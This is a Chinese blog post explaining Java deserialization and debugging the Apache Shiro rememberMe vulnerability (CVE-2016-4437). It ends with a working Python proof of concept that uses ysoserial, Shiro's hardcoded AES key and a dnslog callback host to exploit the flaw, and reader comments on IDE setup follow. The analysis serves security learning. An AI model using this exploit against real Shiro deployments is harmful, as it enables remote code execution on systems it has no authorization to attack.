分析调试apache shiro反序列化漏洞(CVE-2016-4437)

文章最后更新时间为:2020年03月16日 16:38:09

1. 什么是java反序列化

序列化和反序列化是一种常见的编程思想,php、python也都存在此种机制。序列化就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态)。反序列化就是将字节流转化为对象。

java反序列化也类似,某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口,便可以被序列化。比如下面的类:


import java.io.Serializable;

public class People implements Serializable {
    public String name;
    public int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

上述代码定义了People类,并且实现了Serializable接口,我们便可以对其进行序列化和反序列化操作。

import java.io.*;

public class Test {
    public static void main(String[] args) throws Exception {
        // 初始化对象
        People people = new People();
        people.setName("xiaoming");
        people.setAge(18);


        // 序列化步骤
        // 1. 创建一个ObjectOutputStream输出流
        // 2. 调用ObjectOutputStream对象的writeObject输出可序列化对象
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/People.txt")));
        oos.writeObject(people);
        System.out.println("people对象序列化成功!");

        // 反序列化步骤
        // 1. 创建一个ObjectInputStream输入流
        // 2. 调用ObjectInputStream对象的readObject()得到序列化的对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/People.txt")));
        People people1 = (People) ois.readObject();
        System.out.println("people对象反序列化成功!");
        System.out.println(people1.getName());
        System.out.println(people1.getAge());
    }
}

代码运行结果:

people对象序列化成功!
people对象反序列化成功!
xiaoming
18

序列化过程将字节流保存在d:/People.txt中,我们可以在d:/People.txt看到序列化后的二进制对象。

其中开头的aced 0005是java序列化文件的文件头,算是java序列化字节流的一个特征吧。

关于java序列化和反序列化的一些特性,可以阅读这篇文章【1】

回想一下php的反序列化漏洞,反序列化对象时会调用类的魔法函数__construct()(创建对象时触发),我们可以构造pop链来控制(改造)__construct()函数,从而反序列化时执行我们需要的操作。

java也是类似。

在上面的代码中,我们通过调用readObject()方法来从一个源输入流中读取字节序列,再把它们反序列化为一个对象,那么我们如果控制了此类的readObject()方法会怎么样?

为了验证想法,我们修改一下People类,重写其readObject()方法:

public class People implements Serializable {
    //添加以下方法,重写People类的readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec("calc.exe");
    }
}

运行程序,当执行People people1 = (People) ois.readObject();语句时会调用People类的readObject方法,弹出计算器:

由此可知控制了类的readObject方法便可以在反序列化该类时执行任意操作。事实上大多数java反序列化漏洞都可追溯到readObject方法,通过构造pop链最终改造readObject()方法。

2. 实例分析apache shiro 反序列化漏洞(CVE-2016-4437)

2.1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化

漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

2.2 漏洞分析

因为我也是才开始学java web代码调试,以下的内容尽量写的详细一点,调试中遇到了挺多坑,也挺有收获的。

首先我们得将代码下载下来

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

然后编辑shiro\samples\web的pom.xml中的pom.xml文件:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl设置为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

然后用idea导入此mvn项目:

等待idea自动下载导入项目依赖的包

接着设置run/debug configurations, 添加本地tomcat环境(需要提前下载tomcat包)

添加我们的项目进tomcat中:

点击确定,然后开始debug之路。

首先我们看下RememberMe值的加密过程。我们在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,然后点击debug开启tomcat服务:

我们之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处:

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。我们f7跟进rememberIdentity函数:

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是"root",接着我们跟进rememberIdentity构造方法:

调用convertPrincipalsToBytes方法将accountPrincipals也就是"root"转换为字节形式,我们跟进这个函数。

转换过程是先序列化用户身份"id",在对其进行encrypt,跟进encrypt函数:

encrypt函数就是调用AES加密对序列化后的"root"进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量:

我们继续f8,直到回到rememberIdentity函数:

跟进rememberSerializedIdentity函数

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:

  • 序列化用户身份"root"
  • 对root进行AES加密,密钥为常量
  • base64编码
  • 设置到cookie中的rememberme字段:

接下来我们看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求。

跟进getRememberedPrincipals函数

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化。

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为

  • 读取cookie中rememberMe值
  • base64解码
  • AES解密
  • 反序列化

其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作。

2.3 漏洞利用

漏洞利用我们需要用到ysoserial项目,该项目就是集成了一些Gadget,方便我们自动生成。

为了通用性,我们使用ysoserial的URLDNS模块来执行一次DNS操作,poc代码如下

#!/usr/bin/env python3
# coding:utf-8

from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "http://localhost:8000/samples_web_war/"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
                        stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

成功检测到dns请求,说明命令执行成功。

参考

1 + 9 =
5 评论
    r17a
    2020年06月29日 回复

    谢谢分享,新手一枚,看了这么多篇,只有你的看懂了。

    tri Chrome 80 Windows 10
    2020年03月05日 回复

    那个sqmple-war是怎么搞的啊?大佬
    QAQ

      saucerman Chrome 80 Windows 10
      2020年03月05日 回复

      @tri 如果你没有的话,点击file-->project stucture设置下modules和artifacts

        tri Chrome 80 Windows 10
        2020年03月08日 回复

        @saucerman 大佬有个问题,我是在dos里边在 sample/web 目录下进行的mvn 打包 ,接着用 intelji import ../sample/web下的pom.xml,接着在run 那里edit加入了mvn打包的包,也是能够跑起来,其他都没问题,但是很奇怪的是我的ide里并没有找到rememberme那个文件,这个是我操作哪里不对吗QAQ 求教 太笨了

          saucerman Chrome 80 Windows 10
          2020年03月08日 回复

          @tri shiro是作为一个lib被引用的,文件在External Libraries中